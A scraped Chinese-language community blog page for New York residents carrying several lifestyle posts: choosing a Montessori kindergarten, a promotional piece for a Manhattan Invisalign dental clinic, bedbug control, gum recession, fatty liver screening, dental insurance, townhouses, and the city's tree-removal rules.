蒙氏教育的孩子所呈现的艺术想象力与创造力是惊人的,不是通过课堂教学大量技法练习得来的。而是给孩子准备有准备的环境,以感官教育基础,让孩子主动学习。如:手工、绘画、音乐等艺术体验、操作、游戏活动中,孩子们充分的自我表达,发现美、创造美,发挥想象力、创造力。

5. 蒙氏语言教育注重听、说、读的能力。如活动中实物描述,促进语言表达能力、文字活动培养阅读能力。蒙特梭利不要求孩子过早的用笔写字,但孩子用木质的字母、词根拼单词(华文对应的是偏旁部首)为书写做准备。

有一点要说明,蒙园≠混龄班。因蒙班对教具、师资等要求很高、收费也高,不能普及。有些蒙园引进蒙氏理念,只开设个别蒙班,其它班级还是同龄班形式接受蒙氏教育。那么,传统的蒙氏混龄班有什么益处呢?其实,蒙氏环境中不同年龄的孩子在一起,他们彼此爱和尊重,是一种家庭的情谊,大孩子本能的保护年龄小的孩子有担当,小孩子又崇拜大孩子懂得可以做得更好。大孩子给年龄小的孩子讲解,不仅是巩固,当大脑做分析、整理和讲解时,“费曼技巧”可以让孩子的学习能力有一个飞跃。

简单讲,如果孩子在幼儿园是快乐的、各方面能力有提高,那就对了!

二、那么,如何给孩子选幼儿园呢?

教育制度、理念、教学方法、学校设施、教师、家长,每一项都直接影响教学效果。
1. 教育制度、理念、教学方法:您可对比蒙氏教育来判断。

2. 学校设施:保障孩子的生命安全永远是第一位的。

A.防火通道要通畅,不可有隐患:监管机构会定期检查;幼儿园方面也会自查,并定期组织全园师幼做防火演习;家长一定要重视和做好监督。

B.教学环境要宽敞明亮,通风好,采光好。学校设施、教具、图书是否充足更新。桌椅的高度要合适。椅子角度不好,孩子坐的久一点会疲惫。

C.幼儿园布局是否合理:一些小的家庭幼儿园,课室和厨房距离不能近,有因孩子误入而烫伤烧伤等隐患。

3. 教师是教育的实施者,起决定性作用。

A.班主任:教师对学前教育要有热忱,不能只把它当一份工作。有道是“修合无人见,存心有天知”,但教师的态度对孩子的影响是明显看得见的。

B.教师必须拥有专业文凭和教师执照。蒙氏教师经严格的专业训练,取得专业执照。有被压缩到了10来天就上完的,含金量不同,学到的也就未必是真的蒙氏教育。就是说,得学到蒙氏教育到底是什么样的、怎么进行的,才能给孩子真正的蒙氏教育。

C.在美国,所有保教人员都必须考AID急救证书,每2年一次。学习处理幼童口、鼻、耳进颗粒异物、儿童窒息、伤口包扎、催吐、心肺复苏、人工呼吸等,确保如果儿童发生意外,能够被及时处理,将伤害降到最低。

4. 孩子入园需了解的信息:

美国幼儿园的分类:Daycare(日托中心)、Preschool(幼儿园)、Pre-K(学前班)和kindergarten(小学学前班)

*Daycare(日托中心):主要照顾6周~3岁的婴幼儿。

*Preschool(幼儿园):3-5岁幼儿。*要求孩子自己入厕(potty trained),不可以包尿片。

*Pre-K(学前班):4周岁的孩子。在美国有些学校,特别公立学校,会设最小的年级叫pre-kindergarten简称Pre-K ,(kindergarten之前的一年)是被列入正式学制的 (United School District)。

*kindergarten简称 K(学前班属小学):义务教育免费。接收大约5周岁的孩子。

5.父母的作用对孩子的教育必不可少,家长的言行举止,将直接影响到孩子的内在性格和外在表现,应做好表率,同步幼儿园教育。否则,一个吐痰动作会影响您在孩子心中的形象噢。

在美国,送自家孩子去什么样的幼儿园,要不要提前申请、如何了解教学质量啊,都是家长自己的事情。现在,了解您的孩子在幼儿园应该受到什么样的优质教育,您可根据自己工作时间的灵活性、孩子的年龄、家庭收入情况和居住地等,自由选择适合自己家庭和孩子的学前教育机构了。记得,好幼儿园要早早排队哦!

祝您早日为孩子选到心仪的幼儿园!

2021-05-04 / by / in , , ,
隐形牙套 ,牙齿矫正,牙齿美容的期待!/纽约牙科诊所/纽约牙齿矫正/纽约牙齿美容/顶尖诊所推荐

文|Joseph

隐适美隐形牙套,来自纽约顶尖牙科诊所给牙齿美容,牙齿矫正需求者的福音!

咨询电话:(212)588-1809

你曾经因为牙齿不整齐而导致咬合不正吗?想要戴牙套却又怕不美观?隐形牙套正好是你最佳的选择,纽约牙科诊所「New York Dental Studio」使用Invisalign隐适美隐形牙套,并采用iTero 3D扫描仪,让牙齿矫正疗程更加准确、效果更快速,也更加舒适,帮你把牙齿美容、牙齿矫正一步到位。为什么摒弃传统牙套,而选择隐形牙套?哪些人适用隐形牙套?隐形牙套有哪些选择?以下为你做完整分析。

 

哪些人适合戴隐形牙套?

如果你因为怕痛、工作忙碌或因为疫情无法常常回诊、蛀牙率高、担心影响日常生活和工作,而无法戴传统牙套,这时你就可以选择隐形牙套。

并非所有人都可以戴隐形牙套,如果有以下情况,就不建议戴隐形牙套:

1. 齿列过于拥挤或凌乱、齿缝太大。
2. 牙齿扭曲或歪斜程度太大。
3. 上下颚咬合过深。
4. 牙龈健康状况出问题。
5. 无法长时间戴隐形牙套。

*详细情况可以谘询纽约最专业的牙医──纽约牙科诊所「New York Dental Studio」

医疗保险是否给付牙齿矫正费用?

一般而言,牙齿矫正不在普通医疗保险内,但18岁以下的小孩做牙齿矫正,父母的医疗保险一般可涵盖;成年人则需自行购买相关的牙科医疗保险。

对于牙齿矫正,不同的牙科医疗保险,给付范围也有所不同,因此,矫正牙齿之前,最好先询问保险公司,是否能给付矫正牙齿的部分费用。对于Invisalign隐适美隐形牙套,有些牙科医疗保险会特别给付。

隐形牙套 vs 传统牙套

现今大多数人都选择隐形牙套做牙齿矫正,但还是有少部分人选择传统牙套,隐形牙套和传统牙套差别在哪?

隐形牙套材质是多层膜弹性塑料,牙医师会根据患者的齿列情况,制作一系列客制化牙套。在牙齿矫正期间,需长时间配戴,并多次更换牙套,通过缓慢移动牙齿,来完成牙齿矫正。

传统牙套是用不锈钢制成的支架,黏在牙齿外围,再用钢线固定。每隔一段时间就必须回诊,经牙医师手动调节钢线的张力,以达到牙齿矫正。

*隐形牙套优点

1. 隐形牙套价格较传统牙套便宜。由于现今3D打印技术发达,过去昂贵的隐形牙套,价格已调降许多。
2. 隐形牙套较传统牙套美观。顾名思义,隐形牙套透明隐形的外观,让你微笑时依旧拥有自信的笑容;传统牙套则特别明显,而且会感觉强烈异物感。
3. 隐形牙套较传统牙套舒适。传统牙套配戴过程中,容易刮伤牙肉,造成口腔疼痛。
4. 隐形牙套牙齿矫正力度较轻。传统牙套调整完钢线后,必须痛个好几天,无法正常饮食。
5. 隐形牙套容易清洁。取下后用软毛牙刷轻刷牙齿,再用漱口水漱口即可。传统牙套容易卡食物,必须多刷好几次牙,才能达到清洁效果。
6. 隐形牙套较不影响日常生活。可以自行决定戴隐形牙套的时间、场合;传统牙套则需一直戴着,直到牙齿矫正疗程结束。

 

*隐形牙套缺点

1. 牙齿移动速度慢,矫正时间比传统牙套久。
2. 只有吃饭、刷牙时,才能拿掉隐形牙套,如果患者没有每天至少22小时戴隐形牙套,牙齿矫正进度会更落后。

隐形牙套有哪些品牌?

Invisalign隐适美隐形牙套是全球牙齿矫正领导品牌,但需要定期回诊。现今美国也出现多个可在家远程矫正牙齿、价格较Invisalign隐适美隐形牙套便宜的新兴品牌,例如:Byte、Candid、SmileDirect等。

价格便宜就一定比较好吗?中国人说:「一分钱一分货。」矫正牙齿费用所费不赀,在牙齿矫正期间,如果遇到问题,想要和牙医师有更好的交流,Invisalign隐适美隐形牙套会是你的最佳选择。

 

Invisalign隐适美隐形牙套 拥有超过800万用户

Invisalign隐适美隐形牙套是美国Align Technology(爱齐科技)公司所设计,自1997年问世以来,受到全球消费者喜爱,市占率超过8成,拥有超过900项专利,至今全球超过800万用户使用Invisalign隐适美隐形牙套,用来改善口腔问题,找回自信的笑容。

Invisalign隐适美隐形牙套拥有诸多专利,其材质是用SmartTrack弹性材料制成,并通过美国食品药物管理局(FDA)认证。

纽约牙科诊所「New York Dental Studio」

 

纽约牙科诊所「New York Dental Studio」亮点

  • 纽约牙科诊所「New York Dental Studio」使用Invisalign隐适美隐形牙套,并采用iTero 3D扫描仪,让牙齿矫正疗程更加准确、效果更快速,也更加舒适,帮你把牙齿美容、牙齿矫正一步到位。
  • Dr Brandon Huang黄医师从事牙科行业超过20年,经验相当丰富,技术十分高超,他擅长美容牙科,更是纽约有名的牙齿矫正医师,同时精通各项牙科手术、根管治疗、补牙、拔牙、植牙等。最重要的是,他的中文已熟练到可以和华人病患进行交流、沟通。

  • 纽约牙科诊所「New York Dental Studio」坐落在纽约曼哈顿60街,离地铁站非常近,交通非常便利。
  • 纽约牙科诊所「New York Dental Studio」Google Map评价高达4.8颗星,许多患者反馈:「黄医师是他们遇过最好、最有耐心的牙科医师。」

New York Dental.studio

纽约最好的牙科诊所

电话:(212)588-1809

地址:30 East 60th street,suite 2402 New York,NY 1002

网址:https://www.nydentalstudio.com/chinese

 

纽约牙科New York Dental.studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

2021-05-03 / by / in ,
在美国怎么防止臭虫侵扰?清除臭虫的方法

文|雨荷

臭虫(bedbug),又称壁虱、木虱、床虱、扁螂等。臭虫长有一对臭腺能分泌一种异常臭液,有防御天敌和促进交配之用,臭虫爬过的地方可留下难闻的臭味,故名臭虫。

臭虫可以寄生在行李箱,家具,床上用品或衣物上。进入室内后,喜欢藏在床头板后面缝隙中,床垫的接缝以及在箱形弹簧内部,在踢脚板裂缝中以及在墙纸后面。臭虫的存在与清洁程度无关,杂物可以提供良好的藏身之处,并使它们难以治疗。

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臭虫叮咬后皮肤出现红肿,瘙痒等免疫反应症状。臭虫通常每五到十天以吸血液为食,它不吃东西就可以生存一年或更长时间。它们还可以承受从几乎冻结到大约113°F的各种温度。

美国消费者保护机构联邦贸易委员会(FTC)敦促您在购买与臭虫侵扰相关的产品和服务时要谨慎行事。

怎么寻找臭虫和臭虫卵

成年臭虫是椭圆形的,没有翼,并且有生锈的红色。它们具有扁平的身体,触角和小眼睛。用肉眼可见它们,但经常藏在缝隙中。当您清洁、更换床上用品或旅行时,它们可能会出现的其他迹象,例如:

  • 家具上,包括床垫和床垫里面的弹簧或者在织物上流血,大小就像钢笔一样,一片一片的或者一点一点的,暗红色的点,它们是臭虫的粪便。
  • 由于臭虫被压碎而在床单或床垫上生锈或带红色的污渍。
  • 臭虫卵和卵壳,它们很小(约1毫米),呈白色。

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治疗臭虫侵扰

专家们讲害虫很顽固,是害虫里面最难清除的,臭虫侵扰很难控制。尽管如此,臭虫仍可以通过称为综合害虫管理(IPM)的技术进行控制,这是一种对环境敏感的方法,包括预防,监测和有限使用化学农药。实际上,一些臭虫对普通农药产生了抗药性,使某些喷雾剂无效。床上用品,衣服和电子产品绝对不能用农药处理。

自己清理

如果尝试使用农药自己控制臭虫,请选择适合该目的的产品。EPA具有臭虫产品搜索工具,可以帮助您选择需求的产品。

在使用农药之前,请看药物说明。切勿在旨在室外使用的室内使用农药。使用错误的农药或使用不正确使用农药会使您和您的家人生病。还可能使您的房屋不安全。切勿在床褥,沙发和其他软垫家具上或有儿童或宠物的地方喷洒农药。

使用虫子炸弹或烟雾怎样?许多臭虫对这些产品中使用的农药具有抵抗力。此外,这些产品不会碰到所在的缝隙里的臭虫。

聘请专业人士

如果您想聘请专家来完成此工作,请执行以下操作:

  • 确保您家里确实有臭虫而不是其他害虫。
  • 控制臭虫不同于控制其他害虫,一定要请具有臭虫防治经验的专业人员。
  • 与合格的、有执照的害虫管理公司联系。致电您的州有害生物控制管理机构,以获取有关有害生物管理公司状况的信息。在大多数州,监管机构是美国农业部。您还可以通过州总检察长, 当地消费者保护局或互联网搜索引擎查看公司 。
  • 请朋友和邻居推荐他们成功控制臭虫的害虫防治公司,还可以通过社区公告板或社区列表服务器在线进行此操作。
  • 获得多家公司的竞标。询问他们的培训以及控制臭虫的方法。
  • 找出害虫防治公司是否负有责任保险,以承保治疗期间对您的房屋或家具造成的任何损坏。
  • 如果您获得书面的“保证书”,请查找其涵盖范围,持续时间,必须采取哪些措施以使其保持有效状态以及持续进行控制,预防和管理所需的条件。
  • 阅读 EPA的《害虫防治和农药安全公民指南》,其中提供了有关如何选择害虫防治公司的更多提示。 昆虫, 半翅目, 臭虫, Pyrrhocoris, 翅大头粪金龟

防止臭虫侵扰 

控制臭虫的最佳方法是防止臭虫进入您的家。就是这样:

  • 带回家之前,请检查二手家具,床和沙发是否有臭虫滋生的迹象。
  • 将床垫和弹簧盒装在标有“过敏原等级”,“尘螨”或“臭虫”的盖子中。定期检查是否有裂痕或开口,并用胶带将其粘好。
  • 保持家里清洁,减少臭虫的藏身之处。
  • 修复石膏上的裂缝,修复或去除任何松动的墙纸,并拧紧电灯开关盖。
  • 用填缝剂密封踢脚线的缝隙和接缝以及架子或橱柜的缝隙。

旅行时:

1.包装和开箱时,请使用行李架来托住行李箱,而不要将行李放在床上或地板上。

2.上床前检查床垫和床头板。

3.到家后,请直接打开洗衣机包装。洗涤所有显示臭虫污渍的物品,并在最高设置下干燥至少20分钟。烘干机产生的热量杀死虫子及虫卵。

4.检查然后用真空吸尘器清理行李。每次使用后,请清空真空吸尘器或密封圈,然后将其袋装到屋外。

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2021-05-03 / by / in , ,
如何拯救你的牙龈?牙龈萎缩如何补救 牙龈萎缩如何预防 牙龈萎缩的治疗方法
文|无疆行者

牙龈萎缩,指的是牙根部位的牙龈退缩,牙齿的深黄色根部裸露出来,所以牙齿会看起来越来越长。这时牙齿也会变的非常的敏感。

如果再发展下去,周围的牙槽骨和牙龈可能也会受损。所以你除了要清洁好你的牙齿,也要顾好你的牙龈的健康。

什么会造成牙龈萎缩

你的牙齿在健康状态下,牙龈和牙齿有很紧密的连结,它覆盖在牙根表面,具有保护的作用。

造成牙龈萎缩的第一个最常见的原因就是牙周病。牙周病简单来讲就是牙齿上的牙菌斑没有清干净,过一段时间,它就会变成牙结石。久而久之,造成牙菌斑、牙结石的细菌会慢慢的让牙龈发炎。牙龈发炎了以后,就会萎缩,慢慢的和牙齿分开,形成一个缝隙。食物的残渣就会填充进这个缝隙里面,这时候,细菌就会向更深处发展,一直到牙齿下面的牙槽骨。所以牙菌斑到晚期的时候,牙槽骨就会受到侵蚀。这就是牙周病会造成牙齿松动的原因。

第二个造成牙龈萎缩的原因,是刷牙刷的太用力了。这是很多人的通病,建议使用软牙刷代替硬毛牙刷,刷牙时要轻柔。让刷毛而不是手臂的肌肉来做。

造成牙龈萎缩的第三个原因,是晚上睡觉时磨牙或长时间咬牙,支撑牙齿的肌肉一直受到压力,处于紧绷状态,久而久之牙龈组织可能会萎缩。

另外,抽烟也是牙龈萎缩的一个重要原因。根据研究显示,抽烟的人更容易在牙齿上留下难以清除的粘性牙菌斑,无论是局部或是全口的牙龈萎缩、牙周疾病的严重程度,都和抽烟有着密切的关系。

牙龈萎缩怎么办?

牙龈萎缩若是放任不理,可能会导致牙菌斑与牙周病持续堆积,使牙龈萎缩加速、牙齿敏感的症状明显恶化等。深黄色的牙根部过多的裸露也会影响外在美观。

健康的生活方式有助于改善状况。每天刷牙和用牙线清洁牙齿,戒烟、改良不正确或是过度的刷牙习惯、或更换不密合的假牙,都会让牙龈萎缩得到缓解和改善。

从牙医师的专业角度来看,牙龈萎缩不见得是可被治疗,或是需要治疗的,建议还是要请信任的牙医师做完整的评估和诊断,再看看有什么最佳的处置方式。

通常牙龈萎缩的治疗方式可以分为『非手术治疗』与『手术治疗』,牙医师会为患者评估牙龈萎缩状况,若只是轻度细菌感染,牙齿和牙齿间的骨头没有被破坏,是有机会透过牙根覆盖术这类手术方式治疗,让萎缩的牙龈恢复到原来的高度。

另外,如果可以的话,每年应该至少去看两次牙医。越早发现问题,牙医师就越有可能防止状况变得更糟。


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2021-05-03 / by / in , , , ,
如何预防脂肪肝、肝硬化?纽约肝胆肠胃科专家荆彤医生谈肝纤维扫描仪的应用

脂肪肝很常见,不但在中国人中常见,在美国估计有一半的人口都患有脂肪肝。现在脂肪肝出现年轻化的趋势,甚至8~9岁的小孩都有检查出脂肪肝的。这跟人的肥胖有关,70~80%的脂肪肝病人存在体重超标的问题。

脂肪肝的病人一般伴有“三高”:高血糖、高血压、高血脂(胆固醇高)。所谓的脂肪肝就是肝上的脂肪积聚过多。大家知道法国名菜鹅肝,就是人为的把鹅喂成脂肪肝—每天喂给鹅高热量的东西,但不让它活动。这样鹅肝脏取出来是黄黄的,很细腻,实际上就是脂肪肝。

人在肥胖的时候,从外观上看大腹便便,肚子里面很多油,当然有一部分油要到肝上去。不是所有的脂肪肝都对肝有损伤。有一部分人在验血的时候发现肝功能不正常,就说明这个脂肪对肝造成了损伤。我们判断肝功能是否正常是根据检测到的血液中的一些酶的含量。正常的情况下这些酶都存在于肝细胞中,血液中的含量很少。肝如果受到破坏,肝细胞死掉了,这些酶就释放到血液里,验血时这些酶的含量要高。

肝细胞损伤后,因为它有很强的再生能力,会新长出来一个肝细胞,原来的细胞会形成一个瘢痕。时间久了,瘢痕多了就会形成肝硬化。肝硬化之后,肝癌的风险就很高了。

 

 

 

当今世界肥胖率越来越高,建议大家控制饮食,多锻炼。另外要定期去做体检,才能有效预防脂肪肝、肝硬化。

肝纤维扫描仪(Fiber Scan)是一种肝脏检查的先进仪器。在这种仪器出来以前,常用的检查方法是肝穿刺,又叫肝活检。肝穿刺是用一根比较粗的长针插入肝内,提取一块肝脏组织,在显微镜下做切片。肝活检对人有侵入性,而且有风险,一般的人都不太容易接受这种检查。肝纤维扫描仪对接受检查的人没有创伤,只要空腹3个小时就可以进行这种检查,而且准确度能达到肝活检的水平。

肝纤维扫描仪能准确观察到肝的脂肪含量有多少、肝上有多大损伤以及肝硬化的程度。掌握了这些数据之后,医生就会根据这些数据给病人一些指导,看下一步需要做什么。

2021-05-03 / by / in
在美国纽约看牙医 | 流程 保险 费用指南

在纽约的华人可能都知道要买医疗保险,却不一定有牙医保险。而且很多人都没有定期看牙医的习惯。等到发现牙齿有问题时,再去找牙医,发现在纽约看牙医很贵。在纽约牙医保险是需要单独申请的。有牙医保险后,定期做好牙齿检查,一些小问题可以马上处理,这样省事又省钱。

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隐形牙套 ,牙齿矫正,牙齿美容的期待!/纽约牙科诊所/纽约牙齿矫正/纽约牙齿美容/顶尖诊所推荐

牙医保险Dental Insurance

如果你需要多次看牙,或者就医治疗,最好在纽约有牙医保险。比如,一次普通的洗牙需要上百美元,一年两次的普通洗牙就会花费两三百美元以上。若购买了保险,常规的检查和定期洗牙一般都是免费,若需要补牙、根管治疗、牙周炎治疗等,保险也会帮你支付。无论怎样,都肯定比自己直接花钱去治牙要划算的多。所以在美国拥有牙医保险和拥有医疗保险一样重要。

美国的牙医保险报销分为四个等级类别(Class of Services

类别I , 预防治疗 (Class I Preventive)项目:多数牙医保险报销80%~100%,好的保险可以报销100%而且免自付额(deductible),一般包括以下项目:

  • 口腔检查(Exam)
  • 全口X光片(Full-Mouth X-Rays),通常限每年报销1次
  • 普通洗牙(Routine Cleanings/Prophylaxis),通常限每年报销2次

类别 II,基础治疗(Class II Basic)项目:多数牙医保险报销70%~80%,可能会有6个月以上的等待期(waiting period),好保险能报销80%以上,治疗项目包括:

  • 补牙(Restorative Fillings)
  • 简单拔牙(Extraction)

类别 III,大型护理 (Class III Major)项目:大多数牙医保险只报销50%或以下,而且很可能会有12个月以上的等待期(waiting period),部分项目甚至不报销,治疗项目包括:

  • 复杂的口腔手术(Complex Oral Surgery)
  • 假牙冠、烤瓷牙(Crown)
  • 牙桥(Bridge)
  • 假牙(Denture)
  • 植牙(Implant)

类别 IV,牙齿矫正 (Class IV Orthodontia)项目:这类报销通常跟上面三类项目的报销分开计算,有终生报销上限(Lifetime Maximum),有别于年度报销上限,且通常仅限19岁以下。治疗项目包括:

  • 牙套(Braces)

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哪些费用牙医保险不报销

通常美容牙科(Cosmetic Dentistry)项目不在牙医保险报销范围内,因为这些项目并非医疗必须(Medically Necessary),比如:

  • 牙齿贴面(Porcelain Veneers)
  • 隐适美(Invisalign)
  • 牙齿粘接(Bonding),如果属于修复性质的话可能会报销

牙医保险费用

据统计,美国牙医保险费用平均每人每年约360 美元,也就是每个月个人牙医保险费用一般为30美元,一个家庭(4口人为例),平均每月牙医保险费用约为120美元。

牙医保险基本概念:

搞清楚以下牙医保险的基本概念,对您选择合适的保险也许会有帮助:

自付额Deductible: 保险公司为你支付费用之前,看牙医每年自己先要花费的金额范围。比如,有的牙医保险中规定个人牙医保险每年自付额是50美元,家庭牙医保险一年的自付额是150美元。

共保额Co-insurance: 在自付额满了之后,但还未达到年度个人最高应付额之前,每次看病个人要付的一个百分比,比如保险计划是20%的Coinsurance,需要支付医生账单的20%,保险公司会支付账单的80%。

保险每年封顶额度Maximum Annual Benefit: 牙保险公司对投保人医疗费用每年的最高支付额。

等候期Waiting Period: 保险公司介入一些牙保险时,申请者可以开始使用保险的日期,比如要等6个月以后。这段时间内产生的牙医费用只能自己支付。

网络内保健单位In-network provider:医疗保险公司网路里的加盟医生、医院和药房。这些加盟的医生和医院和保险公司通常有协议或合同,会按保险公司的要求收费。

非网络内保健单位Out-of-network provider:保险公司网路外的医疗机构。指那些未就服务、收费等事宜和保险公司达成协议的医生和医院。选择网络外的医疗保险费用就比较贵,自费比例也会高。

在纽约地区,可以选择的牙医保险计划有很多,大家可以根据自己的牙齿情况来定。比如,有的小伙伴仅需要做定期的牙齿检查和洗牙,而有的人可能需要拍片检查,或者需要做烤瓷牙和植牙等。所以大家可以根据自己的需要购买相应的牙保险。

提醒大家的是,在看牙医之前,一定要看你的牙保险是否在网路(network)里,计划(plan)是否是医疗保险公司网路里的加盟医生、医院和药房等。还要注意的是一定要核对清楚等待期(waiting period)。

牙科折扣计划Discount Dental Plans

除了牙科保险,也有另外一种牙科折扣计划可选择。它不是保险,不提供费用报销,也不提供免费服务,而是参与折扣计划的牙医同意降低服务收费标准(通常在5-9折间),因此患者能直接享有较低的折扣价格。 

看牙医步骤

首先,要搞懂美国看牙医的一些特别规定,比如:

按年龄分:有成人、16岁以下的孩童、65岁以上的老人三种。

从专业上分:有普通牙科和专科牙科之分。而专科牙科又有牙周、牙髓、矫正以及口腔外科等分类。

所以在纽约看牙,先要去保险计划中指定的牙科医生看诊,这个牙医一般都是普通牙医。如果普通牙医治不了,就会开出转诊单(referral),电话联络预约专科牙医。

这里需要提醒的是,到专科牙科诊所时,一定要确认自己的保险申请已被保险公司通过,保险公司才会按约偿付保费。

第一次看牙医的流程

下面我们简单介绍一下第一次看牙医的流程:

第一步,预约牙医

登录牙医保险网站,查找有哪些保险计划指定的牙科医生,可以选择住家附近或口碑较好的牙医。然后,就可以打电话预约了。

第二步,初次看牙医

按照预约时间前往牙科诊所。第一次去看牙医,到诊所后需要填写一份关于个人病史及一些和牙齿口腔相关的病历相关问券,比如以前有没有过龋齿?是否拔过牙?是否药物过敏等问题。这样主治医生对你的牙齿状况有一个初步了解。这里需要提醒的是,请记得带好保险卡,并提前一点时间到达,给自己预留填表时间。

第一次看牙要先拍全口X光片,这样牙医可以全面了解你的口腔齿列、牙龈、牙骨、有无细菌感染等状况。

你的主治牙医会有你的全套治疗记录,可以全面了解和追踪您的口腔健康变化,需要转诊的时候转给专科医生作为参考。

第三步 讨论治疗方案

牙医会根据您的口腔情况做详细检查与诊断,并针对发现的问题提出建议治疗方式。很可能第一次做牙齿检查时,牙医便发现有蛀牙,这样也是为了早发现、早治疗。

若是由于牙痛第一次去看牙,一般情况下都会需要预约下一次复诊。假如情况比较复杂的,则会转诊到专科牙医,然后电话预约专科牙医。

这个时候,您可以请诊所先预算一下治疗的费用供您参考。

想拥有一口健康美白的牙齿,须本人和牙医共同努力。在纽约有很多专业牙医师,可以帮您及早发现蛀牙和其它口腔问题。因此不要害怕牙医、洗牙和看牙。在纽约的华人朋友,如果需要牙医保险或治疗牙齿,可以资讯专业牙医师,根据您的个人状况和家庭情况,选择自己合适的牙医保险和牙医医生。

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2021-05-03 / by / in , ,
纽约房型:纽约联排房一次看全看懂|纽约房源超珍稀|纽约地产的艺术品

文|地产小尖兵

纽约联排别墅(Townhouse)是纽约富裕阶层的典型象征,在电影中我们经常看到男主角、女主角倚靠在联排别墅的门栏上耳语,外头下着细雨,好不浪漫!所以这是纽约不得不说的第一种房型。

纽约联排(Townhouse),每一户都是相连的独立房屋,虽然通常没有前院,或是前院很小,但是可能会有一个较大的后院。房地产的产权上是百分之百屋主拥有,有房有地,不像公寓房型的土地是所有屋主通同拥有,所以也称为共管公寓。

纽约联排别墅最精华地段

纽约联排房街景。

纽约联排别墅最精华也最多的地方——上东城(Upper East),这里是纽约较早发展的区域,住在那里的人很多被称之为old money,是纽约早期最有钱人家的生活区,当然现在也是许多富人聚集的地方。这里生活机能不用说,学区还是最好的,不管公立、私立都有优秀的资源。其实纽约联排别墅在上西城(Upper West)、中城(Midtown)、Chelsea、Gramercy、West Village等也都有散落,而曼哈顿以外,在布鲁克林也有一些。

联排别墅经典归经典,但是在纽约的房源数量并不多,成交量只占纽约房市的2%,可算是相当珍稀

纽约联排别墅是纽约地产的经典象征。

因为联排的产权是独立拥有,因此纽约联排房比公寓相对有更好的隐私、独立出入口,所以对名人、明星、富人来说是更好的选择,他们也不惜砸下重金购买。例如歌手麦当娜就曾以四千多万买下三栋联排别墅,并打通作为长住;中国地产大亨潘石屹在上东城也有一栋纯白色的联排房。

纽约联排别墅为何珍贵?

而且这些联排别墅也相当难兴建,比如上东城的联排都是上世纪初建成的,即便现在要兴建的话,成本也相当高昂。另外,这些联排别墅也都受到纽约市的地标建筑保护法的保护,不能拆也不能重建。量少价贵,当前上市中最高价的要6000万美元(10房15卫),便宜的也要318.5万(4房4卫)(资料来源:Zillow网站)。

就如上面说的,纽约联排房的历史悠久,所以装潢都较为老旧,但屋主可以自行改造,甚至在顶楼加设泳池、空中花园。较特别的是有些联排内部还有电梯,样式非常古典,可能要手动操作电梯。所以综上所述,一栋保养得宜、经过翻修的联排别墅,可以说是纽约房地产的艺术品

判别纽约联排身价的指标

以建材来说,纽约联排常使用石灰石、大理石、红砖三种材料兴建,其中石灰岩为主体的联排房通城面积、气势都比较大,所以也最贵,年代也最早;大理石看起来很尊贵,但有时是局部的建材,年代中间;红砖是比较近代兴建的。

衡量纽约联排房的价格贵与便宜,除了建材,最首要的指标是「面宽」,一般来说联排的面宽15~20英尺是基本尺寸,25~30英尺就属于豪贵等级。如果在一楼看到一两扇窗户,那大概比较便宜,能看到三扇窗户以上,那就是身价不凡了。面宽大代表内部空间大、更有太阳照射、比较通风。如果面宽太小,可能会影响往后的增值空间。

买纽约联排房还要注意哪些?与公寓的差异性

买纽约联排房还有一个要考量的,是要单户居住,还是多户居住?单户就是一户人家,多户的话就可以给其他家人使用,或是出租出去,他们会有独立的厨房、出入口,成为一个小型公寓的概念。如何知道这个联排是单户或多户居住?这要查看所谓的入住证明(Certificate of Occupancy)来确认。纽约在单户居住、多户居住是有明确规定的,住户不能随意增加家庭户数。

另一个考量点是基础设施有没有被升级,例如水管、电线、屋顶、地板等等。尤其水管、电线最好是近代的标准,否则使用起来就会比较辛苦了。

纽约公寓楼。

要说纽约联排与纽约公寓的不同,最大的区别应该是产权、价位。联排的产权完全是独立的,屋主对房屋拥有最大的使用权,装修(内部可大修、外部需要保留)、出租都比较没有限制;公寓则要受限于大楼管理会的规定,尤其合作公寓(Co-op)更是严格,共管公寓(Condo)相对较为容易,因此大多数人都会选择共管公寓(Condo),这也是投资纽约地产最广泛的房型。再者,公寓都有物业管理费要交,联排则没有。

价格方面,纽约联排的起步价就是好几百万,公寓就有很多价位等级,从几十万到上千万都有;从另一面来说,联排因为昂贵所以更有价格谈判的空间,因为买家数量可能也很有限,通常是富裕、上流人士。

纽约联排与独立房的区别

纽约皇后区的独立房。

在纽约你也能很少量的看到独立房(Single Family House)的房产,尤其在曼哈顿更是稀有,但它们的外观可能看起来跟联排没有什么区别,有时要分辨的话,就要看土地分区(Zoning District)属于哪一种,独立房被归为R1、R2、R3、R4(数字越大密度越大),联排房则被归为R5这一类,R6到R10就属更高密度的公寓、大楼一类。 (资料来源:纽约城市规划局)这里也要注意一个重点,您所买的房产能否加建、改建,就要看具体土地分区是属于哪一类别,再去考量执行的可能性。

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2021-05-03 / by / in , , , , ,
在纽约砍树要慎重 不然面临罚款 坐牢 纽约市关于树木清除的法律

文|雨荷

在纽约这个人口超过800万人的城市中,人们的住所几乎不够,更不用说树木了,市长迈克尔布隆伯格(Michael Bloomberg)宣布了一项计划,要在这座城市种一百万棵新树。

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在美国树是受保护的,对于屋主、业主来说,想砍伐树木之前,要了解清楚有关法规,不然就会触犯法律。如果想将自己院子里的树木砍伐,就要特别注意,不能盲目行事。

按照纽约法律规定,居民未经许可自行砍伐树木是违法的,但是纽约市公园和游乐部已使请求砍伐树木变得简单。纽约树木条例是一套规章制度,旨在保护纽约市树木免受日常增长的人口侵害。该市渴望确保城市树木与城市居民之间的平衡。

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砍伐树木 示意图。

纽约奥尔巴尼( Albany)关于砍树的规则

树干周长6.5英尺(约2米)以上的树,即便属于私人财产,如果没有许可证也不允许砍伐。对于那些威胁公众安全的树木,通知业主30天后,如果没有移除,那么工作人员有权进入私人庭院将其清除。

未获得许可不能移除某些树木

纽约的大多数居民都不知道砍伐树木的要求。如果有人非法砍伐树木,将处以罚款,甚至坐牢。

要在线进行此操作,您需要在纽约市公园与游乐部网站gis.nyc.gov/parks/forms上提交林业服务请求。如果您在纽约市,也可以拨打311。在城市外,您可以拨打212-NEW-YORK。

纽约市未经授权清除树木的处罚是什么?

建议居民在没有公园和娱乐部门许可的情况下,不要在公共树木上进行任何修剪或修剪活动。这包括在私人住宅前生长的路边树木,包括围绕树木的50英尺。如果违反该规定,将被视为轻罪,可处以15,000美元的罚款,一年的监禁或两者兼而有之。

 

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居民在砍树 示意图。

纽约市的树桩清除过程

居民向公园和游乐部报告,指出树桩在城市公共空间中的位置。该部将根据可用于此类任务的资金额做出响应。

